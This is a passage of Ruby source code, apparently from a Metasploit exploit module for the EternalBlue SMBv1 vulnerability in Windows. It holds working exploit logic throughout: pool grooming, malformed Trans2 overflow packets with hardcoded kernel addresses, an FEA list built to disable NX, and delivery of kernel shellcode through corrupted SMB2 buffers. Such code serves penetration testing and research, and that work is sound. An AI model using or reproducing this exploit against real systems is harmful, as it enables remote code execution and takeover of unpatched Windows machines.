sess_pkt.smb_header.flags2.unicode = 1
761
end
762
763
sess_pkt.smb_header.flags2.extended_security = 0
764
sess_pkt.smb_header.flags2.nt_status = 1
765
sess_pkt.smb_header.flags2.paging_io = 0
766
767
sess_pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size
768
sess_pkt.parameter_block.max_mpx_count = 2 # can by any value
769
sess_pkt.parameter_block.vc_number = 2 # any non-zero
770
sess_pkt.parameter_block.session_key = 0
771
sess_pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
772
773
sess_pkt.parameter_block.capabilities.each_pair do |k|
774
if k == :nt_status || k == :extended_security
775
sess_pkt.parameter_block.capabilities[k] = 1
776
else
777
sess_pkt.parameter_block.capabilities[k] = 0
778
end
779
end
780
781
recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(sess_pkt))
782
783
if recv_pkt.status_code.value == 0
784
print_good('SMB1 session setup allocate nonpaged pool success')
785
return anon_conn, anon_sock
786
end
787
788
anon_conn.disconnect!
789
790
unless username.empty?
791
# Try login with valid user because anonymous user might get access denied on Windows Server 2012
792
# Note: If target allows only NTLMv2 authentication, the login will always fail.
793
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
794
req_size = (size / 2).floor
795
796
neg_pkt = RubySMB::SMB1::Packet::NegotiateRequest.new
797
neg_pkt.smb_header.flags2.extended_security = 0
798
neg_pkt.add_dialect('NT LM 0.12')
799
800
client, sock = custom_smb_client
801
802
raw_response = client.send_recv(neg_pkt)
803
response_packet = client.negotiate_response(raw_response)
804
805
# parse_negotiate_response
806
client.smb1 = true
807
client.smb2 = false
808
client.smb3 = false
809
client.signing_required = response_packet.parameter_block.security_mode.security_signatures_required == 1
810
client.dialect = response_packet.negotiated_dialect.to_s
811
client.server_max_buffer_size = response_packet.parameter_block.max_buffer_size - 260
812
client.negotiated_smb_version = 1
813
client.session_encrypt_data = false
814
client.server_guid = response_packet.data_block[:server_guid]
815
816
server_challenge = response_packet.data_block.challenge
817
818
sess_pkt.smb_header.pid_low = pid
819
sess_pkt.smb_header.flags2.unicode = 0
820
821
pwd_unicode = NTLM_CRYPT.ntlm_md4(password, server_challenge)
822
823
sess_pkt.parameter_block.reserved = pwd_unicode.length
824
sess_pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + ("\x00" * 16)
825
826
recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(client.send_recv(sess_pkt))
827
828
if recv_pkt.status_code.value == 0
829
print_good('SMB1 session setup allocate nonpaged pool success')
830
return client, sock
831
end
832
client.disconnect!
833
end
834
835
print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
836
return nil
837
end
838
839
def generate_fea_list_nx
840
# fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa
841
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
842
# NX bit is at PTE_ADDR+7
843
# MappedSystemVa = PTE_ADDR+7 - 0x7f
844
shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
845
pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 0xffffffffffd00000) >> 12)
846
fake_srv_net_buffer_x64nx = "\x00" * 16
847
fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<')
848
fake_srv_net_buffer_x64nx += "\x00" * 16
849
fake_srv_net_buffer_x64nx += "\x00" * 16
850
fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<')
851
fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct
852
fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<')
853
fake_srv_net_buffer_x64nx += "\x00" * 16
854
fake_srv_net_buffer_x64nx += "\x00" * 16
855
fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
856
fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
857
858
fea_list_nx = [0x10000].pack('I<')
859
fea_list_nx += NTFEA_9000
860
fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name
861
# stop copying by invalid flag (can be any value except 0 and 0x80)
862
fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<')
863
864
fea_list_nx
865
end
866
867
def default_session_setup_request
868
p = RubySMB::SMB1::Packet::SessionSetupRequest.new
869
p.parameter_block.max_buffer_size = 61440
870
p.parameter_block.max_mpx_count = 50
871
p.smb_header.flags2.extended_security = 1
872
873
p
874
end
875
876
# Returns the value to be passed to SMB clients for
877
# the password. If the user has not supplied a password
878
# it returns an empty string to trigger an anonymous
879
# logon.
880
#
881
# @return [String] the password value
882
def smb_pass
883
if datastore['SMBPass'].present?
884
datastore['SMBPass']
885
else
886
''
887
end
888
end
889
890
# Returns the value to be passed to SMB clients for
891
# the username. If the user has not supplied a username
892
# it returns an empty string to trigger an anonymous
893
# logon.
894
#
895
# @return [String] the username value
896
def smb_user
897
if datastore['SMBUser'].present?
898
datastore['SMBUser']
899
else
900
''
901
end
902
end
903
904
# Returns the value to be passed to SMB clients for
905
# the domain. If the user has not supplied a domain
906
# it returns an empty string to trigger an anonymous
907
# logon.
908
#
909
# @return [String] the domain value
910
def smb_domain
911
if datastore['SMBDomain'].present?
912
datastore['SMBDomain']
913
else
914
''
915
end
916
end
917
918
class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket
919
COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX
920
921
class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock
922
end
923
924
class DataBlock < RubySMB::SMB1::DataBlock
925
# Key difference for this class is that the length of security_blob is NOT dictated by the value of
926
# security_blob_length in the +SessionSetupRequest::ParameterBlock+
927
string :security_blob, label: 'Security Blob (GSS-API)'
928
string :native_os, label: 'Native OS'
929
string :native_lan_man, label: 'Native LAN Manager'
930
end
931
932
smb_header :smb_header
933
parameter_block :parameter_block
934
data_block :data_block
935
end
936
937
class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client
938
def send_recv(packet, encrypt: false)
939
version = packet.packet_smb_version
940
case version
941
when 'SMB1'
942
packet.smb_header.uid = user_id if user_id
943
packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0
944
packet = smb1_sign(packet)
945
when 'SMB2'
946
packet = increment_smb_message_id(packet)
947
packet.smb2_header.session_id = session_id
948
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
949
if smb2
950
packet = smb2_sign(packet)
951
elsif smb3
952
packet = smb3_sign(packet)
953
end
954
end
955
end
956
957
encrypt_data = false
958
if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt)
959
encrypt_data = true
960
end
961
send_packet(packet, encrypt: encrypt_data)
962
raw_response = recv_packet(encrypt: encrypt_data)
963
smb2_header = nil
964
unless version == 'SMB1'
965
loop do
966
smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response)
967
break unless is_status_pending?(smb2_header)
968
969
sleep 1
970
raw_response = recv_packet(encrypt: encrypt_data)
971
rescue IOError
972
# We're expecting an SMB2 packet, but the server sent an SMB1 packet
973
# instead. This behavior has been observed with older versions of Samba
974
# when something goes wrong on the server side. So, we just ignore it
975
# and expect the caller to handle this wrong response packet.
976
break
977
end
978
end
979
980
self.sequence_counter += 1 if signing_required && !session_key.empty?
981
# update the SMB2 message ID according to the received Credit Charged
982
self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit
983
raw_response
984
end
985
986
def login(username: self.username, password: self.password,
987
domain: self.domain, local_workstation: self.local_workstation,
988
ntlm_flags: default_flags,
989
session_setup_packet: nil,
990
session_setup_auth_packet: nil)
991
negotiate
992
session_setup(username, password, domain,
993
local_workstation: local_workstation,
994
ntlm_flags: ntlm_flags,
995
session_setup_packet: session_setup_packet,
996
session_setup_auth_packet: session_setup_auth_packet)
997
end
998
999
def session_setup(user, pass, domain,
1000
local_workstation: self.local_workstation, ntlm_flags: default_flags,
1001
session_setup_packet: nil, session_setup_auth_packet: nil)
1002
@domain = domain
1003
@local_workstation = local_workstation
1004
@password = pass.encode('utf-8') || ''.encode('utf-8')
1005
@username = user.encode('utf-8') || ''.encode('utf-8')
1006
1007
@ntlm_client = Net::NTLM::Client.new(
1008
@username,
1009
@password,
1010
workstation: @local_workstation,
1011
domain: @domain,
1012
flags: ntlm_flags
1013
)
1014
1015
authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet)
1016
end
1017
1018
def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil)
1019
if smb1
1020
if username.empty? && password.empty?
1021
smb1_authenticate(session_setup_packet: smb1_setup_pkt,
1022
session_setup_auth_packet: smb1_setup_auth_pkt,
1023
anonymous: true)
1024
else
1025
smb1_authenticate(session_setup_packet: smb1_setup_pkt,
1026
session_setup_auth_packet: smb1_setup_auth_pkt)
1027
end
1028
else
1029
smb2_authenticate
1030
end
1031
end
1032
1033
def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil, anonymous: false)
1034
response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet)
1035
challenge_packet = smb1_ntlmssp_challenge_packet(response)
1036
1037
# Store the available OS information before going forward.
1038
@peer_native_os = challenge_packet.data_block.native_os.to_s
1039
@peer_native_lm = challenge_packet.data_block.native_lan_man.to_s
1040
user_id = challenge_packet.smb_header.uid
1041
type2_b64_message = smb1_type2_message(challenge_packet)
1042
type3_message = @ntlm_client.init_context(type2_b64_message)
1043
1044
if anonymous
1045
type3_message.ntlm_response = ''
1046
type3_message.lm_response = ''
1047
end
1048
1049
@session_key = @ntlm_client.session_key
1050
challenge_message = @ntlm_client.session.challenge_message
1051
store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO)
1052
@os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty?
1053
1054
raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet)
1055
response = smb1_ntlmssp_final_packet(raw)
1056
response_code = response.status_code
1057
1058
@user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
1059
response_code
1060
end
1061
1062
def smb1_ntlmssp_negotiate(session_setup_packet: nil)
1063
packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet)
1064
send_recv(packet)
1065
end
1066
1067
def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil)
1068
packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet)
1069
send_recv(packet)
1070
end
1071
1072
def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil)
1073
if session_setup_packet.nil?
1074
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
1075
packet.smb_header.uid = user_id
1076
packet.set_type3_blob(type3_message.serialize)
1077
packet.parameter_block.max_mpx_count = 50
1078
packet.smb_header.flags2.extended_security = 1
1079
1080
packet
1081
else
1082
if session_setup_packet.data_block.security_blob.empty?
1083
session_setup_packet.set_type3_blob(type3_message.serialize)
1084
end
1085
if session_setup_packet.smb_header.uid == 0
1086
session_setup_packet.smb_header.uid = user_id
1087
end
1088
if session_setup_packet.parameter_block.max_buffer_size == 0
1089
session_setup_packet.parameter_block.max_buffer_size = max_buffer_size
1090
end
1091
if session_setup_packet.smb_header.pid_low == 0
1092
session_setup_packet.smb_header.pid_low = pid
1093
end
1094
1095
session_setup_packet
1096
end
1097
end
1098
1099
def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil)
1100
type1_message = ntlm_client.init_context
1101
1102
if session_setup_packet.nil?
1103
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet
1104
packet.set_type1_blob(type1_message.serialize)
1105
packet.parameter_block.max_mpx_count = 50
1106
packet.smb_header.flags2.extended_security = 1
1107
1108
packet
1109
else
1110
if session_setup_packet.data_block.security_blob.empty?
1111
session_setup_packet.set_type1_blob(type1_message.serialize)
1112
end
1113
1114
session_setup_packet
1115
end
1116
end
1117
end
1118
end
1119
1120
module EternalBlueWin7
1121
require 'ruby_smb'
1122
require 'ruby_smb/smb1/packet'
1123
require 'windows_error'
1124
1125
include Msf::Exploit::Remote::DCERPC
1126
1127
class EternalBlueError < StandardError
1128
end
1129
1130
def exploit_eb
1131
begin
1132
for i in 1..datastore['MaxExploitAttempts']
1133
grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
1134
smb_eternalblue(datastore['ProcessName'], grooms)
1135
1136
# we don't need this sleep, and need to find a way to remove it
1137
# problem is session_count won't increment until stage is complete :\
1138
secs = 0
1139
while !session_created? && (secs < 30)
1140
secs += 1
1141
sleep 1
1142
end
1143
1144
if session_created?
1145
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1146
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1147
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1148
break
1149
else
1150
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1151
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1152
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1153
end
1154
end
1155
rescue EternalBlueError => e
1156
print_error(e.message.to_s)
1157
return false
1158
rescue ::RubySMB::Error::NegotiationFailure
1159
print_error('SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds.')
1160
return false
1161
rescue ::RubySMB::Error::UnexpectedStatusCode,
1162
::Errno::ECONNRESET,
1163
::Rex::HostUnreachable,
1164
::Rex::ConnectionTimeout,
1165
::Rex::ConnectionRefused,
1166
::RubySMB::Error::CommunicationError => e
1167
print_error("#{e.class}: #{e.message}")
1168
report_failure
1169
return false
1170
rescue StandardError => e
1171
print_error(e.class.to_s)
1172
print_error(e.message)
1173
print_error(e.backtrace.join("\n"))
1174
return false
1175
end
1176
end
1177
1178
def smb_eternalblue(process_name, grooms)
1179
begin
1180
# Step 0: pre-calculate what we can
1181
shellcode = make_kernel_user_payload(payload.encoded, process_name)
1182
payload_hdr_pkt = make_smb2_payload_headers_packet
1183
payload_body_pkt = make_smb2_payload_body_packet(shellcode)
1184
1185
# Step 1: Connect to IPC$ share
1186
print_status('Connecting to target for exploitation.')
1187
client, tree, sock, os = smb1_anonymous_connect_ipc
1188
rescue RubySMB::Error::CommunicationError
1189
# Error handler in case SMBv1 disabled on target
1190
raise EternalBlueError, 'Could not make SMBv1 connection'
1191
else
1192
print_good('Connection established for exploitation.')
1193
1194
if verify_target(os)
1195
print_good('Target OS selected valid for OS indicated by SMB reply')
1196
else
1197
print_warning('Target OS selected not valid for OS indicated by SMB reply')
1198
print_warning('Disable VerifyTarget option to proceed manually...')
1199
raise EternalBlueError, 'Unable to continue with improper OS Target.'
1200
end
1201
1202
# cool buffer print no matter what, will be helpful when people post debug issues
1203
print_core_buffer(os)
1204
1205
if verify_arch
1206
print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
1207
else
1208
print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
1209
print_warning('Disable VerifyArch option to proceed manually...')
1210
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
1211
end
1212
1213
print_status("Trying exploit with #{grooms} Groom Allocations.")
1214
1215
# Step 2: Create a large SMB1 buffer
1216
print_status('Sending all but last fragment of exploit packet')
1217
smb1_large_buffer(client, tree, sock)
1218
1219
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
1220
print_status('Starting non-paged pool grooming')
1221
1222
# initialize_groom_threads(ip, port, payload, grooms)
1223
fhs_sock = smb1_free_hole(true)
1224
1225
@groom_socks = []
1226
1227
print_good('Sending SMBv2 buffers')
1228
smb2_grooms(grooms, payload_hdr_pkt)
1229
1230
fhf_sock = smb1_free_hole(false)
1231
1232
print_good('Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.')
1233
fhs_sock.shutdown
1234
1235
print_status('Sending final SMBv2 buffers.') # 6x
1236
smb2_grooms(6, payload_hdr_pkt) # TODO: magic #
1237
1238
fhf_sock.shutdown
1239
1240
print_status('Sending last fragment of exploit packet!')
1241
final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
1242
sock.put(final_exploit_pkt)
1243
1244
print_status('Receiving response from exploit packet')
1245
code, _raw = smb1_get_response(sock)
1246
1247
code_str = '0x' + code.to_i.to_s(16).upcase
1248
if code.nil?
1249
print_error('Did not receive a response from exploit packet')
1250
elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
1251
print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
1252
else
1253
print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
1254
end
1255
1256
# Step 4: Send the payload
1257
print_status('Sending egg to corrupted connection.')
1258
1259
@groom_socks.each { |gsock| gsock.put(payload_body_pkt.first(2920)) }
1260
@groom_socks.each { |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }
1261
1262
print_status('Triggering free of corrupted buffer.')
1263
# tree disconnect
1264
# logoff and x
1265
# note: these aren't necessary, just close the sockets
1266
return true
1267
ensure
1268
abort_sockets
1269
end
1270
end
1271
1272
def verify_target(os)
1273
os = os.gsub("\x00", '') # strip unicode bs
1274
os << "\x00" # but original has a null
1275
ret = true
1276
1277
if datastore['VerifyTarget']
1278
ret = false
1279
# search if its in patterns
1280
target['os_patterns'].each do |pattern|
1281
if os.downcase.include? pattern.downcase
1282
ret = true
1283
break
1284
end
1285
end
1286
end
1287
1288
return ret
1289
end
1290
1291
def verify_arch
1292
return true unless datastore['VerifyArch']
1293
1294
# XXX: This sends a new DCE/RPC packet
1295
arch = dcerpc_getarch
1296
1297
return true if arch && arch == target_arch.first
1298
1299
print_warning("Target arch is #{target_arch.first}, but server returned #{arch.inspect}")
1300
print_warning('The DCE/RPC service or probe may be blocked') if arch.nil?
1301
false
1302
end
1303
1304
def print_core_buffer(os)
1305
print_status("CORE raw buffer dump (#{os.length} bytes)")
1306
1307
count = 0
1308
chunks = os.scan(/.{1,16}/)
1309
chunks.each do |chunk|
1310
hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, '0') }.join(' ')
1311
1312
format = format('0x%08x %-47s %-16s', (count * 16), hexdump, chunk)
1313
print_status(format)
1314
count += 1
1315
end
1316
end
1317
1318
def smb2_grooms(grooms, payload_hdr_pkt)
1319
grooms.times do |_groom_id|
1320
gsock = connect(false)
1321
@groom_socks << gsock
1322
gsock.put(payload_hdr_pkt)
1323
end
1324
end
1325
1326
def smb1_anonymous_connect_ipc
1327
sock = connect(false)
1328
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
1329
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)
1330
client.pid = nil
1331
response_code = client.login
1332
1333
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
1334
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
1335
end
1336
1337
os = client.peer_native_os
1338
1339
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
1340
1341
return client, tree, sock, os
1342
end
1343
1344
def smb1_large_buffer(client, tree, sock)
1345
nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)
1346
1347
# send NT Trans
1348
vprint_status('Sending NT Trans Request packet')
1349
1350
client.send_recv(nt_trans_pkt)
1351
# Initial Trans2 request
1352
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
1353
1354
# send all but last packet
1355
for i in 1..14
1356
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
1357
end
1358
1359
vprint_status('Sending malformed Trans2 packets')
1360
sock.put(trans2_pkt_nulled)
1361
1362
begin
1363
sock.get_once
1364
rescue EOFError
1365
vprint_error('No response back from SMB echo request. Continuing anyway...')
1366
end
1367
1368
client.echo(count: 1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
1369
end
1370
1371
def smb1_free_hole(start)
1372
sock = connect(false)
1373
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
1374
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)
1375
client.pid = nil
1376
client.negotiate
1377
1378
pkt = ''
1379
1380
if start
1381
vprint_status('Sending start free hole packet.')
1382
pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
1383
else
1384
vprint_status('Sending end free hole packet.')
1385
pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
1386
end
1387
1388
client.send_recv(pkt)
1389
sock
1390
end
1391
1392
def smb1_get_response(sock)
1393
raw = nil
1394
1395
# dirty hack since it doesn't always like to reply the first time...
1396
16.times do
1397
raw = sock.get_once
1398
break unless raw.nil? || raw.empty?
1399
end
1400
1401
return nil unless raw
1402
1403
response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
1404
code = response.nt_status
1405
return code, raw, response
1406
end
1407
1408
def make_smb2_payload_headers_packet
1409
# don't need a library here, the packet is essentially nonsensical
1410
pkt = ''
1411
pkt << "\x00" # session message
1412
pkt << "\x00\xff\xf7" # size
1413
pkt << "\xfeSMB" # SMB2
1414
pkt << "\x00" * 124
1415
1416
pkt
1417
end
1418
1419
def make_smb2_payload_body_packet(kernel_user_payload)
1420
# precalculated lengths
1421
pkt_max_len = 4204
1422
pkt_setup_len = 497
1423
pkt_max_payload = pkt_max_len - pkt_setup_len # 3575
1424
1425
# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
1426
pkt = ''
1427
1428
# padding
1429
pkt << "\x00" * 0x8
1430
pkt << "\x03\x00\x00\x00"
1431
pkt << "\x00" * 0x1c
1432
pkt << "\x03\x00\x00\x00"
1433
pkt << "\x00" * 0x74
1434
1435
# KI_USER_SHARED_DATA addresses
1436
pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
1437
pkt << "\x00" * 0x10
1438
pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address
1439
pkt << "\x00" * 0xc4
1440
1441
# payload addreses
1442
pkt << "\x90\xf1\xdf\xff"
1443
pkt << "\x00" * 0x4
1444
pkt << "\xf0\xf1\xdf\xff"
1445
pkt << "\x00" * 0x40
1446
1447
pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
1448
pkt << "\x00" * 0x8
1449
pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
1450
pkt << "\x00"
1451
1452
pkt << kernel_user_payload
1453
1454
# fill out the rest, this can be randomly generated
1455
pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)
1456
1457
pkt
1458
end
1459
1460
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
1461
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
1462
timeout = (timeout * 0x10) + 3
1463
timeout_value = "\x35\x00\xd0" + timeout.chr
1464
1465
packet = RubySMB::SMB1::Packet::Trans2::Request.new
1466
packet = set_smb1_headers(packet, tree_id, user_id)
1467
1468
# The packets are labeled as Secondary Requests but are actually structured
1469
# as normal Trans2 Requests for some reason. We shall similarly cheat here.
1470
packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
1471
1472
packet.parameter_block.flags.read("\x00\x10")
1473
packet.parameter_block.timeout.read(timeout_value)
1474
1475
packet.parameter_block.word_count = 9
1476
packet.parameter_block.total_data_count = 4096
1477
packet.parameter_block.parameter_count = 4096
1478
1479
nbss = "\x00\x00\x10\x35"
1480
pkt = packet.to_binary_s
1481
pkt = pkt[0, packet.parameter_block.parameter_offset.abs_offset]
1482
pkt = nbss + pkt
1483
1484
case type
1485
when :eb_trans2_exploit
1486
vprint_status('Making :eb_trans2_exploit packet')
1487
1488
pkt << "\x41" * 2957
1489
1490
pkt << "\x80\x00\xa8\x00" # overflow
1491
1492
pkt << "\x00" * 0x10
1493
pkt << "\xff\xff"
1494
pkt << "\x00" * 0x6
1495
pkt << "\xff\xff"
1496
pkt << "\x00" * 0x16
1497
1498
pkt << "\x00\xf1\xdf\xff" # x86 addresses
1499
pkt << "\x00" * 0x8
1500
pkt << "\x20\xf0\xdf\xff"
1501
1502
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
1503
1504
pkt << "\x60\x00\x04\x10"
1505
pkt << "\x00" * 4
1506
1507
pkt << "\x80\xef\xdf\xff"
1508
1509
pkt << "\x00" * 4
1510
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
1511
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
1512
pkt << "\x00" * 0x10
1513
1514
pkt << "\x60\x00\x04\x10"
1515
pkt << "\x00" * 0xc
1516
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
1517
pkt << "\x00" * 0x8
1518
pkt << "\x80\x10"
1519
pkt << "\x00" * 0xe
1520
pkt << "\x39"
1521
pkt << "\xbb"
1522
1523
pkt << "\x41" * 965
1524
when :eb_trans2_zero
1525
vprint_status('Making :eb_trans2_zero packet')
1526
pkt << "\x00" * 2055
1527
pkt << "\x83\xf3"
1528
pkt << "\x41" * 2039
1529
else
1530
vprint_status('Making :eb_trans2_buffer packet')
1531
pkt << "\x41" * 4096
1532
end
1533
pkt
1534
end
1535
1536
def make_smb1_nt_trans_packet(tree_id, user_id)
1537
packet = RubySMB::SMB1::Packet::NtTrans::Request.new
1538
1539
# Disable the automatic padding because it will distort
1540
# our values here.
1541
packet.data_block.enable_padding = false
1542
1543
packet = set_smb1_headers(packet, tree_id, user_id)
1544
1545
packet.parameter_block.max_setup_count = 1
1546
packet.parameter_block.total_parameter_count = 30
1547
packet.parameter_block.total_data_count = 66512
1548
packet.parameter_block.max_parameter_count = 30
1549
packet.parameter_block.max_data_count = 0
1550
packet.parameter_block.parameter_count = 30
1551
packet.parameter_block.parameter_offset = 75
1552
packet.parameter_block.data_count = 976
1553
packet.parameter_block.data_offset = 104
1554
packet.parameter_block.function = 0
1555
1556
packet.parameter_block.setup << 0x0000
1557
1558
packet.data_block.byte_count = 1004
1559
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ("\x00" * 973)
1560
packet
1561
end
1562
1563
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
1564
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
1565
1566
packet.smb_header.flags.read("\x18")
1567
packet.smb_header.flags2.read(flags2)
1568
packet.smb_header.pid_high = 65279
1569
packet.smb_header.mid = 64
1570
1571
packet.parameter_block.vc_number.read(vcnum)
1572
packet.parameter_block.max_buffer_size = 4356
1573
packet.parameter_block.max_mpx_count = 10
1574
packet.parameter_block.security_blob_length = 0
1575
1576
packet.smb_header.flags2.unicode = 0
1577
packet.data_block.security_blob = native_os + "\x00" * 15
1578
packet.data_block.native_os = ''
1579
packet.data_block.native_lan_man = ''
1580
packet
1581
end
1582
1583
# Sets common SMB1 Header values used by the various
1584
# packets in the exploit.
1585
#
1586
# @return [RubySMB::GenericPacket] the modified version of the packet
1587
def set_smb1_headers(packet, tree_id, user_id)
1588
packet.smb_header.flags2.read("\x07\xc0")
1589
packet.smb_header.tid = tree_id
1590
packet.smb_header.uid = user_id
1591
packet.smb_header.pid_low = 65279
1592
packet.smb_header.mid = 64
1593
packet
1594
end
1595
1596
# Returns the value to be passed to SMB clients for
1597
# the password. If the user has not supplied a password
1598
# it returns an empty string to trigger an anonymous
1599
# logon.
1600
#
1601
# @return [String] the password value
1602
def smb_pass
1603
if datastore['SMBPass'].present?
1604
datastore['SMBPass']
1605
else
1606
''
1607
end
1608
end
1609
1610
# Returns the value to be passed to SMB clients for
1611
# the username. If the user has not supplied a username
1612
# it returns an empty string to trigger an anonymous
1613
# logon.
1614
#
1615
# @return [String] the username value
1616
def smb_user
1617
if datastore['SMBUser'].present?
1618
datastore['SMBUser']
1619
else
1620
''
1621
end
1622
end
1623
1624
# Returns the value to be passed to SMB clients for
1625
# the domain. If the user has not supplied a domain
1626
# it returns an empty string to trigger an anonymous
1627
# logon.
1628
#
1629
# @return [String] the domain value
1630
def smb_domain
1631
if datastore['SMBDomain'].present?
1632
datastore['SMBDomain']
1633
else
1634
''
1635
end
1636
end
1637
end
1638
1639